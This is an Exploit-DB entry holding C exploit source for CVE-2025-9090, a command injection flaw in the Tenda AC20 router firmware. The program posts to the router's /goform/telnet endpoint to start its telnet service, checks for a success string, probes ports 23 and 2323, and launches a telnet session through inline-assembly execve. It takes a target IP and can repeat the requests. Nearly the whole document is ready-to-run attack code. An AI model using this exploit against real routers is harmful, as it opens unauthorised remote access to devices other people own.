Tenda AC20 16.03.08.12 - Command Injection

EDB-ID:

52418




Platform:

Multiple

Date:

2025-08-18


/*
 * Exploit Title : Tenda AC20 16.03.08.12 - Command Injection
 * Author       : Byte Reaper
 * CVE          : CVE-2025-9090 
 * Description:  A vulnerability was identified in Tenda AC20 16.03.08.12. Affected is the function websFormDefine of the file /goform/telnet of the component Telnet Service.
 * target endpoint : /goform/telnet
 * place in service : http://<IP>
 * full format target url : http://<IP>/goform/telnet
 * Exploitation plan:
 * 1. Build full URL
 * 2. Prepare POST data (Sleep + full url + libcurl function)
 * 3. Send POST request via CURL
 * 4. Measure response: HTTP code, telnet access (23), error word (not found)
 * 5. Determine success & finalize exploit 
 */

#include <stdio.h>
#include "argparse.h"
#include <stdlib.h>
#include <string.h>
#include <curl/curl.h>
#include <arpa/inet.h>
#include <time.h>
#include <stdint.h>
#include <unistd.h> 
#include <sys/wait.h>
#include <sys/socket.h>
#include <errno.h>
#define MAX_RESPONSE (50 * 1024 * 1024)
#define URL 2400
#define BUFFER 4500
const char *ipT = NULL;
const char *cookies = NULL;
int loopF = 0;
int verbose = 0;
int fileCookies = 0;
void exit64bit()
{
	fflush(NULL);
	__asm__ volatile 
	(
    "syscall\n\t"
    :
    : "A"(0x3C), 
      "D"(0)
    : "rcx", 
      "r11", 
      "memory"
    );
    fflush(NULL);
}

struct Mem
{
    char *buffer;
    size_t len;
};
size_t write_cb(void *ptr, 
    size_t size,
    size_t nmemb,
    void *userdata)
{
	if (!userdata) 
	{
		return 0;
	}
    if (size && nmemb > SIZE_MAX / size) 
    {
        fprintf(stderr, "\e[0;31m[-] size * nmemb overflow !\e[0m\n");
        return 0;
    }
    size_t total = size * nmemb;
    struct Mem *m = (struct Mem *)userdata;
    if (total > MAX_RESPONSE || (m->len + total + 1) > MAX_RESPONSE) 
    {
        fprintf(stderr, "\e[0;31m[-] Response too large or would exceed MAX_RESPONSE !\e[0m\n");
        return 0;
    }
    char *tmp = realloc(m->buffer, m->len + total + 1);
    if (tmp == NULL)
    {
        fprintf(stderr, "\e[1;31m[-] Failed to allocate memory!\e[0m\n");
        exit64bit();
    }
    m->buffer = tmp;
    memcpy(&(m->buffer[m->len]), ptr, total);
    m->len += total;
    m->buffer[m->len] = '\0';
    return total;
}

int checkLen(int len, char *buf, size_t bufcap)
{
    if (len < 0 || (size_t)len >= bufcap)
    {
        printf("\e[0;31m[-] Len is Long ! \e[0m\n");
        printf("\e[0;31m[-] Len %d\e[0m\n", len);
        return 1;
    }
    else
    {
        printf("\e[0;34m[+] Len Is Not Long.\e[0m\n");
        return 0;

    }
    return 0;
}

void cleanObject(CURL *c, struct curl_slist *h, char *r, size_t l)
{
	
	printf("\e[0;33m[+] Clean Headers...\e[0m\n");
	if (h != NULL)
    {
       	curl_slist_free_all(h);
    }
    if (c != NULL)
    {
    	curl_easy_cleanup(c);
    }
    printf("\e[0;33m[+] Clean CURL...\e[0m\n");
    if (r != NULL)
    {	
    	free(r);
    	r = NULL;
    	l = 0;
    }
    printf("\e[0;33m[+] Clean response buffer and len...\e[0m\n");
    printf("\e[0;31m[+] Exit ....\n");
}
int sleepSocket()
{
	static int current = 2;
	int timeout = current;
	printf("\e[0;34m[+] Timeout Socket : %d\n", timeout);
	current++;
	if (current > 6)
	{
		current = 2;
	}
	return timeout;
}
int connectionTelnet(const char *ip)
{
	int ports[] = 
	{
		23, 
		2323
	};
	int num_ports = sizeof(ports) / sizeof(ports[0]);
	for (int i = 0; i < num_ports; i++)
	{
		printf("\e[0;36m[+] target PORT Connection telnet : %d\e[0m\n", ports[i]);
		printf("\e[0;36m[+] Try Connection in port : %d\e[0m\n", ports[i]);
		int s;
		char buffer[BUFFER];
		struct sockaddr_in server;
		s = socket(AF_INET, SOCK_STREAM, 0);
		if (s < 0)
		{
			perror("\e[0;31m[-] Error Create Socket !\e[0m\n");
			return -1;
		}
		server.sin_addr.s_addr = inet_addr(ip);
	    server.sin_family = AF_INET;
	    server.sin_port = htons(ports[i]);
	    struct timeval timeout;

	    int value3  = sleepSocket();
	    timeout.tv_sec = value3;
		timeout.tv_usec = 0;
	    if (setsockopt(s, 
	    	SOL_SOCKET, 
	    	SO_RCVTIMEO, 
	    	(const char*)&timeout, 
	    	sizeof(timeout)) < 0) 
	    {
	    	perror("\e[0;31m[-] setsockopt() Failed !\e[0m\n");
	    	exit64bit();
	    }
	    printf("\e[0;33m[+] Timeout Connection socket ...\e[0m\n");
	    
	    if (connect(s, 
	    	(struct sockaddr *)&server, 
	    	sizeof(server)) < 0) 
	    {
	    	perror("\e[0;31m[-] Connect failed in Target Ip.\e[0m\n");
	    	close(s);
	    	continue;
	    }
	    printf("[+] Connection Success in server.\e[0m\n");
	    char banner[256];
		int n = recv(s, 
			banner, 
			sizeof(banner)-1, 
			0);
		if (n > 0) 
		{
		    banner[n] = '\0';
		    printf("\e[0;36m[+] Telnet Banner: %s\e[0m\n", banner);
		}

	    close(s);
	    if (verbose)
	    {
	    	printf("\e[0;33m[+] Close Socket...\e[0m\n");
	    }
	    return ports[i]; 
	}
    return -1;
}
int systemCommand(const char *ip)
{
	pid_t pid;
	printf("\e[0;37m[+] Before fork (PID : %d)\e[0m\n", getpid());
	pid = fork();
	if (pid < 0)
	{
		fprintf(stderr, "\e[0;31m[-] Fork failed !\e[0m\n");
		return 1;
	}
	else if (pid == 0)
	{
		int access[] = {23, 2323, 80};
		int numberAccess = sizeof(access) / sizeof(access[0]);
		for (int a = 0; a < numberAccess ; a++)
		{
			printf("\e[0;34m[+] child process (pid : %d)\e[0m\n", getpid());
			printf("\e[0;34m[+] sys_execve syscall...\e[0m\n");
			char ipS[90];

			int lenIp = snprintf(ipS, sizeof(ipS), "%s", ip);
			if (checkLen(lenIp,ipS,sizeof(ipS)) == 1)
			{
			    printf("\e[0;31m[-] Len Content (Target IP) is Long !\e[0m\n");
			    printf("\e[0;31m[-] Result Len (ip) : %d\e[0m\n", 
			    	lenIp);
			    exit64bit();
			}
			char portsA[40]; 
			int lenA = snprintf(portsA, sizeof(portsA), "%d", access[a]);
			if (checkLen(lenA,portsA,sizeof(portsA)) == 1)
			{
			    printf("\e[0;31m[-] Len Content (Target port) is Long !\e[0m\n");
			    printf("\e[0;31m[-] Result Len (port) : %d\e[0m\n", 
			    	lenA);
			    exit64bit();
			}
			const char *c = "/usr/bin/telnet";
	        char *const argv[] = 
	        	{
	        		"telnet", 
	        		ipS, 
	        		portsA,
	        		NULL
	        	};

	        const char *envp[] = {NULL};
			__asm__ volatile
			(
				"mov $59, %%rax\n\t"	
				"mov %[command], %%rdi\n\t"
				"mov %[v], %%rsi\n\t"
				"mov %[e], %%rdx\n\t"
				"syscall\n\t"
				:
				: [command] "r"(c),
				  [v] "r"(argv),
				  [e] "r" (envp)
				:"rax",
				 "rdi",
				 "rsi" ,
				 "rdx"
			);
			__asm__ volatile
			(
				"mov $0x3C, %%rax\n\t"
				"xor %%rdi, %%rdi\n\t"
				"syscall\n\t"
				:
				:
				:"rax",
				 "rdi"
			);
		}
		
	}
	else 
	{
		waitpid(pid, 
			NULL, 
			0);
    	printf("\e[0;36m[+] Child process finished.\e[0m\n");
	}
	return 0;
}
void endPoint(const char *ip)
{
	CURL *curl = curl_easy_init();
	struct Mem response ;
	response.buffer = NULL;
	response.len = 0;
	struct curl_slist *headers = NULL;
	if (response.buffer == NULL && response.len == 0)
	{
		if (verbose)
		{
			printf("\e[0;35m==============================\e[0m\n");
			printf("\e[0;34m[+] Clean Response...\e[0m\n");
			printf("\e[0;34m[+] Response buffer is NULL.\e[0m\n");
			printf("\e[0;34m[+] Response len is 0.\e[0m\n");
			printf("\e[0;34m[+] Clean Success.\e[0m\n"); 
			printf("\e[0;35m==============================\e[0m\n");
		}
	}
	else if (response.buffer != NULL && response.len != 0)
	{
		if (verbose)
		{
			printf("\e[0;31m[-] Response buffer is NOT NULL And len (!=0).\e[0m\n");
			printf("\e[0;31m[-] Clean Failed.\e[0m\n"); 
		}
	}
	if (!curl)
	{
		printf("\e[0;31m[-] Error Create Object CURL !\e[0m\n");
		exit64bit();
	}
	CURLcode code;
	if (curl)
	{
		char full[URL];
		int len = snprintf(full, URL, "http://%s/goform/telnet",ip);
		if (checkLen(len,full,URL) == 1)
		{
		    printf("\e[0;31m[-] Len Content (Full URL) is Long !\e[0m\n");
		    printf("\e[0;31m[-] Result Len (FULL URL) : %d\e[0m\n", len);
		    cleanObject(curl, 
					headers, 
					response.buffer, 
					response.len);
		    exit64bit();
		}
		printf("\e[0;34m[+] Write Success IP in FULL url.\n");
		printf("\e[0;32m[+] Len Full url : %d\n", len);
		printf("\e[0;37m[+] Target IP Address : %s\n", ip);
		printf("\e[0;37m[+] FULL URL : %s\n", full);
		if (verbose)
		{
			printf("\e[0;37m[+] Check Range IP ...\n");
		}
		struct in_addr inaddr;
		if (inet_aton(ip, &inaddr))
		{
			printf("\e[0;36m[+] The address '%s' is valid.\n", ip);

		}
		else 
		{
			printf("\e[0;31m[-] The address '%s' Not valid.\n", ip);
			cleanObject(curl, 
					headers, 
					response.buffer, 
					response.len);
			exit64bit();
		}
		curl_easy_setopt(curl,
                    CURLOPT_URL,
                    full);
	    if (fileCookies)
	    {
	        curl_easy_setopt(curl,
	                        CURLOPT_COOKIEFILE,
	                        cookies);
	        curl_easy_setopt(curl,
	                        CURLOPT_COOKIEJAR,
	                        cookies);
	    }
	    curl_easy_setopt(curl,
	                    CURLOPT_FOLLOWLOCATION,
	                    1L);

	    curl_easy_setopt(curl,
	                    CURLOPT_WRITEFUNCTION,
	                    write_cb);
	    curl_easy_setopt(curl,
	                    CURLOPT_WRITEDATA,
	                    &response);
	    curl_easy_setopt(curl,
	                    CURLOPT_CONNECTTIMEOUT,
	                    5L);
	    uint64_t raxValue;
		raxValue = 0xE6;
		if (verbose)
		{
			if (raxValue == 0xE6)
			{

				printf("\e[0;34m[+] RAX Value (SLEEP) (HEX): 0x%lX\e[0m\n",(uint64_t)raxValue);
			}
			else 
			{
				printf("\e[0;31m[-] RAX Value Not (230): 0x%lX\e[0m\n",(uint64_t)raxValue);
				cleanObject(curl, 
					headers, 
					response.buffer, 
					response.len);
				exit64bit();
			}
		}
		struct timespec rqtp, rmtp;
    	rqtp.tv_sec  = 1;
   	 	rqtp.tv_nsec = 500000000; 
		register long reg_r10 asm("r10");
		reg_r10 = 0; 
    	printf("\e[0;33m[+] Sleeping Clock Syscall Assembly (%ld seconds) && (%ld nanoseconds)...\e[0m\n", 
          	 rqtp.tv_sec, rqtp.tv_nsec);
    	int ret;      
   		__asm__ volatile 
   		(
		    "syscall"
		    : "=a"(ret)                               
		    : "a"(raxValue),                      
		      "D"((long)0),                        
		      "S"((long)0),                         
		      "d"(&rqtp),                             
		      "r"(reg_r10)                             
		    : "rcx", "r11", "memory"                   
		);
    	printf("\e[0;37m[+] Return Value sys_clock_nanosleep : %d\e[0m\n", ret);
    	if (ret == -1)
    	{
    		if (errno == EINTR) 
    		{
    			printf("\e[0;34m[+] Sleep was interrupted. Remaining : %ld seconds %ld nanoseconds\e[0m\n", 
    				rqtp.tv_sec,
    				rqtp.tv_nsec);
    		}
    		else 
    		{
    			perror("\e[0;31m[-] Error sys_clock_nanosleep !\e[0m\n");
    		}
    	}
    	else 
    	{
    		printf("\e[0;34m[+] SLeep Success.\e[0m\n");
    	}
    	curl_easy_setopt(curl,
                            CURLOPT_TIMEOUT,
                            10L);
        curl_easy_setopt(curl,
                        CURLOPT_SSL_VERIFYPEER,
                        0L);
        curl_easy_setopt(curl,
                        CURLOPT_SSL_VERIFYHOST,
                        0L);
        if (verbose)
        {
            printf("\e[0;35m------------------------------------------[Verbose Curl]------------------------------------------\e[0m\n");
            curl_easy_setopt(curl,
                            CURLOPT_VERBOSE,
                            1L);
        }
        
        headers = curl_slist_append(headers,
                                    "Accept: text/html");
        headers = curl_slist_append(headers,
                                    "Accept-Encoding: gzip, deflate, br");
        headers = curl_slist_append(headers,
                                	"Accept-Language: en-US,en;q=0.5");
        curl_easy_setopt(curl, CURLOPT_POST, 1L);
		curl_easy_setopt(curl, CURLOPT_POSTFIELDS, "");     
		curl_easy_setopt(curl, CURLOPT_POSTFIELDSIZE, 0L);  
        curl_easy_setopt(curl, CURLOPT_HTTPHEADER, headers);
        code = curl_easy_perform(curl);
        	
        long http_code = 0;
        if (code == CURLE_OK)
        {
        	printf("\e[0;36m[+] Request sent successfully.\e[0m\n");
        	if (verbose)
        	{
        		printf("\e[0;35m=========================================================== [ response (1)] ===========================================================\e[0m\n");
                printf("\n%s\n", response.buffer);
                printf("\e[0;35m=======================================================================================================================================\e[0m\n");
        	}
        	curl_easy_getinfo(curl, 
            		CURLINFO_RESPONSE_CODE,
                    &http_code);
        	printf("\e[0;32m[+] Http Code : %ld\e[0m\n",
                        http_code);
        	if (http_code >= 200 && http_code < 300)
        	{
        		printf("\e[0;36m[+] Http code in Range (200 - 300).\e[0m\n");
        		printf("\e[0;35m=========================================================== [ response (code 200) ] ===========================================================\e[0m\n");
                printf("\n%s\n", response.buffer);
                printf("\e[0;35m===============================================================================================================================================\e[0m\n");
                printf("\e[0;35m[+] Check response server...\e[0m\n");
                if (response.buffer)
                {
                	if (strstr(response.buffer, "load telnetd success") != NULL)
                	{
                		printf("\e[0;37m[+] Word found in response : \"load telnetd success\"\e[0m\n");
                		printf("\e[0;36m[+] Injected successfully.\e[0m\n");
                	}
                }
        		printf("\e[0;33m[+] Try telnet Connection (Socket) (23)...\e[0m\n");
        		printf("\e[0;36m[+] Command : telnet %s %d\e[0m\n", ip, 23);
        		int value = connectionTelnet(ip);
        		printf("\e[0;35m[+] Result Connection : =============================\e[0m\n");
        		int useCommand = 0;
        		if (value == -1)
        		{
        			printf("\e[0;31m[-] CVE-2025-9090 Not detect !\n");
        			printf("\e[0;37m[+] Run Command System (telnet %s %d)\n", ip, 80);
        			useCommand++;
        			goto command;        		
        		}
        		else if (value != -1)
        		{
        			printf("\e[0;36m[+] Success Connection PORT : %d\e[0m\n", value);
        			printf("\e[0;36m[+] The server has a vulnerability Os injection (CVE-2025-9090 )\e[0m\n");
        		}
        		command:
        			if (useCommand  != 0)
        			{
        				int value2 = systemCommand(ip);
        				if (value2 == 1)
        				{
        					printf("\e[0;31m[-] Error Run command , Please Check ENV.\e[0m\n");
        				}
        				else if (value2 == 0)
        				{
        					printf("\e[0;34m	[+] Run command Success.\e[0m\n");
        				}
        			}

        		printf("\e[0;35m=====================================================\e[0m\n");

        	}
        	else 
        	{
        		printf("\e[0;31m[-] Http code Not range (200 - 300)!\e[0m\n");
        		printf("\e[0;35m[-] Check the reason for a negative response...\e[0m\n");
        		if (response.buffer)
        		{
        			response.buffer[response.len] = '\0';
        			if (strstr(response.buffer, "Not found") != NULL || 
        				strstr(response.buffer, "was not found on this server") != NULL)
	        		{
	        			printf("\e[0;31m[-] Word Found in Response (Not found)\e[0m\n");
	        			printf("\e[0;31m[-] Not found endpoint !\e[0m\n");
	        			printf("\e[0;31m[-] Please Check Download Service \"Tenda AC20\" And run.\e[0m\n");
	        		}
        		}
        		else 
        		{
        			printf("\e[0;31m[-] Response is NULL, Error Check response !\e[0m\n");
        		}
        		
        	}
        }
        else
        {
            fprintf(stderr, "\e[0;31m[-] The request was not sent !\e[0m\n");
            printf("\e[0;31m[-] Error : %s\e[0m\n", curl_easy_strerror(code));
            exit64bit();

        }
	}

}

int main(int argc, const char **argv)
{
	printf(
		"\e[1;31m"

		"	 ▄████▄ ██▒   █▓▓█████     \n"
		"	▒██▀ ▀█▓██░   █▒▓█   ▀     \n"
		"	▒▓█    ▄▓██  █▒░▒███       \n"
		"	▒▓▓▄ ▄██▒▒██ █░░▒▓█  ▄     \n"
		"	▒ ▓███▀ ░ ▒▀█░  ░▒████▒   \e[1;32m2025-9090\n"
		"	░ ░▒ ▒  ░ ░ ▐░  ░░ ▒░ ░    \n"
		"	  ░  ▒    ░ ░░   ░ ░  ░    \n"
		"	░           ░░     ░       \n"
		"	░ ░          ░     ░  ░    \n"
		"	░           ░              \n" 
			"\t  \e[1;31m [ Byte Reaper ] \e[0m\n"
	);
	printf("\e[0;31m-------------------------------------------------------------------------------------------------------\e[0m\n");   
    struct argparse_option options[] =
    {
        OPT_HELP(),
        OPT_STRING('i',
                   "ip",
                   &ipT,
                   "Enter Target IP"),
        OPT_STRING('c',
                   "cookies",
                   &cookies,
                   "Enter File cookies"),
        OPT_BOOLEAN('v',
                    "verbose",
                    &verbose,
                    "Verbose Mode"),
        OPT_INTEGER('f', 
        	"loop", 
        	&loopF, 
        	"Number request (-f 4  = 4 request)"),
        OPT_END(),
    };
    struct argparse argparse;
    argparse_init(&argparse,
                  options,
                  NULL,
                  0);

    argparse_parse(&argparse,
                   argc,
                   argv);
    if (ipT == NULL)
    {
        printf("\e[1;31m[-] Please Enter target Ip !\e[0m\n");
        printf("\e[1;31m[-] Example : ./CVE-2025-9090 -i <IP> \e[0m\n");
        exit64bit();
    }
    if (cookies != NULL)
    {
        fileCookies = 1;
    }
    if (verbose)
    {
        verbose = 1;
    }
    if (loopF != 0)
    {

    	printf("\e[0;34m[+] Number Loop Request : %d\e[0m\n", loopF);
    	for (int n = 0; n <= loopF; n++)
    	{
    		printf("\e[1;35m[+] Another request: =============================================\e[0m\n");
    		endPoint(ipT);
    	}
    }
    endPoint(ipT);
    return 0;
}